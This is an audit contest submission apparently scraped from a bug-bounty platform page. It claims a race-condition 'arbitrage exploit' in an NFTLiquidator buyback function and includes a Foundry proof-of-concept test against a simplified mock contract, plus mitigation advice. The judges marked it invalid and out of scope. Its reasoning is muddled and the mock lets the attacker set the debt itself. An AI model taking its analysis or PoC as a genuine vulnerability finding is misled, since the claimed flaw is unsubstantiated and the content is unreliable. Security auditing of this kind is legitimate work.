Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Arbitrage Exploit in NFTLiquidator Buyback Mechanism

Overview

The NFTLiquidator contract provides a mechanism for users to “buy back” liquidated NFTs at a premium (110% of the debt). The buyback function computes the required payment solely as 110% of the debt, independent of the ongoing auction state. Because the auction state (stored in tokenData) is mutable and can be influenced by early bids, a malicious actor can manipulate this state through a race condition to capture an NFT at a cost far below its true market value.

Root Cause

  1. Static Price Calculation:
    The buyback price is computed as:

    uint256 price = data.debt * 11 / 10; // 110% of the debt

    This calculation does not incorporate any market dynamics or the current highest bid.

  2. Mutable Auction State:
    At auction initiation, tokenData is set with an initial debt and no bids (i.e. highestBid is zero). A malicious bidder can then submit a minimal bid (e.g. 1 wei) to become the highest bidder without affecting the debt value.

  3. Race Condition During Buyback:
    Because the auction state remains mutable until the buyback function is successfully executed, the attacker can call buyBackNFT while the state still reflects the low or negligible bid. In effect, the attacker (or a colluding party) triggers the buyback, forcing the contract to delete the auction state and transfer the NFT at a fixed price (110% of debt) that is independent of the artificially low bid.

  4. Arbitrage Opportunity:
    If the fair market value of the NFT is significantly higher than 110% of the debt, the attacker can immediately resell the NFT for a profit, capturing a substantial arbitrage gain. The vulnerability thereby subverts the intended liquidation outcome and can result in protocol capital loss.

Attack Scenario

  1. Liquidation Initiation:
    The StabilityPool liquidates an NFT by calling liquidateNFT, initializing tokenData with a given debt (D) and starting an auction with no bid (highestBid = 0).

  2. Malicious Minimal Bid:
    The attacker places a negligible bid (e.g. 1 wei) on the auction. This bid is sufficient to record them as the highestBidder without raising the effective auction price.

  3. Race to Buyback:
    Before any honest bidder can place a competitive bid, the attacker quickly calls buyBackNFT. Since the auction state still reflects the minimal bid and the debt remains unchanged, the buyback price is calculated as 110% of D.

  4. State Deletion and Execution:
    The buyback function then:

    • Refunds the minimal bid (which costs almost nothing),

    • Deletes the auction state,

    • Transfers the NFT to the attacker, and

    • Forwards the 110% payment to the StabilityPool.

  5. Arbitrage Profit:
    The attacker now controls the NFT at an effective cost of 110% of the debt. If the NFT’s fair market value exceeds this price, the attacker can resell it for a profit—exploiting the race condition and the static buyback pricing.

Foundry PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "openzeppelin-contracts/token/ERC721/ERC721.sol";
import "openzeppelin-contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/access/Ownable.sol";
// Minimal NFT contract for testing.
contract TestNFT is ERC721 {
uint256 public nextTokenId;
constructor() ERC721("TestNFT", "TNFT") {}
function mint(address to) external returns (uint256) {
uint256 tokenId = nextTokenId;
_mint(to, tokenId);
nextTokenId++;
return tokenId;
}
}
// Simplified NFTLiquidator focusing on the buyBackNFT function.
contract NFTLiquidatorMock is Ownable {
IERC721 public nftContract;
// For demonstration, we assume a dummy ERC20 represents debt, though it's not used functionally.
ERC20 public dummyToken;
address public stabilityPool;
struct TokenData {
uint256 debt;
uint256 auctionEndTime;
uint256 highestBid;
address highestBidder;
}
mapping(uint256 => TokenData) public tokenData;
event BuybackCompleted(uint256 indexed tokenId, address buyer, uint256 price);
constructor(address _nftContract, address _dummyToken, address _stabilityPool) {
nftContract = IERC721(_nftContract);
dummyToken = ERC20(_dummyToken);
stabilityPool = _stabilityPool;
}
// Initializes auction state for a given tokenId.
function initAuction(uint256 tokenId, uint256 debt) external {
tokenData[tokenId] = TokenData({
debt: debt,
auctionEndTime: block.timestamp + 1 days,
highestBid: 1, // Minimal bid (1 wei).
highestBidder: msg.sender // Attacker becomes highest bidder.
});
}
function buyBackNFT(uint256 tokenId) external payable {
TokenData storage data = tokenData[tokenId];
require(block.timestamp < data.auctionEndTime, "Auction ended");
require(nftContract.ownerOf(tokenId) == address(this), "NFT not in liquidation");
uint256 price = data.debt * 11 / 10; // 110% of debt.
require(msg.value >= price, "Insufficient payment");
// Refund the highest bidder (minimal bid).
if (data.highestBidder != address(0)) {
payable(data.highestBidder).transfer(data.highestBid);
}
delete tokenData[tokenId];
// Transfer NFT to buyer.
nftContract.transferFrom(address(this), msg.sender, tokenId);
payable(stabilityPool).transfer(price);
// Refund any extra ETH.
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
emit BuybackCompleted(tokenId, msg.sender, price);
}
}
contract NFTLiquidatorRaceArbitrageTest is Test {
TestNFT public nft;
ERC20 public dummyToken;
NFTLiquidatorMock public liquidator;
address public stabilityPool = address(100);
address public attacker = address(1);
function setUp() public {
nft = new TestNFT();
dummyToken = new ERC20("Dummy", "DUM");
liquidator = new NFTLiquidatorMock(address(nft), address(dummyToken), stabilityPool);
// Mint an NFT and transfer it to the liquidator.
uint256 tokenId = nft.mint(address(this));
nft.transferFrom(address(this), address(liquidator), tokenId);
// Attacker initializes the auction with debt = 100 wei.
vm.prank(attacker);
liquidator.initAuction(0, 100);
}
function testRaceConditionArbitrage() public {
// Attacker calls buyBackNFT paying exactly 110 wei (110% of 100).
vm.prank(attacker);
liquidator.buyBackNFT{value: 110}(0);
// Verify that the attacker now owns the NFT.
assertEq(nft.ownerOf(0), attacker, "Attacker should have acquired the NFT");
// In a real-world scenario, if the market value of the NFT is higher than 110 wei,
// the attacker can immediately resell the NFT for a profit.
}
}

Mitigation Recommendations

  1. Incorporate Auction Dynamics into Price Calculation:
    Rather than relying solely on a fixed 110% multiplier, adjust the buyback price to consider the current highest bid. For instance, require that the buyback price be at least the maximum of (110% of debt) and (highest bid plus a minimum increment). This would prevent an attacker from setting an artificially low bid to manipulate the buyback price.

  2. State Locking and Reentrancy Guard:
    Add a reentrancy guard (using OpenZeppelin’s nonReentrant modifier) to the buyBackNFT function. This ensures that concurrent calls cannot interfere with the auction state, mitigating race conditions.

  3. Pull-based Refunds:
    Replace the push-based refund (using transfer) with a pull-based refund mechanism. Store the refundable amount in a mapping so that bidders can withdraw their funds in a separate transaction. This decouples refund logic from the buyback execution and prevents state manipulation during the race.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!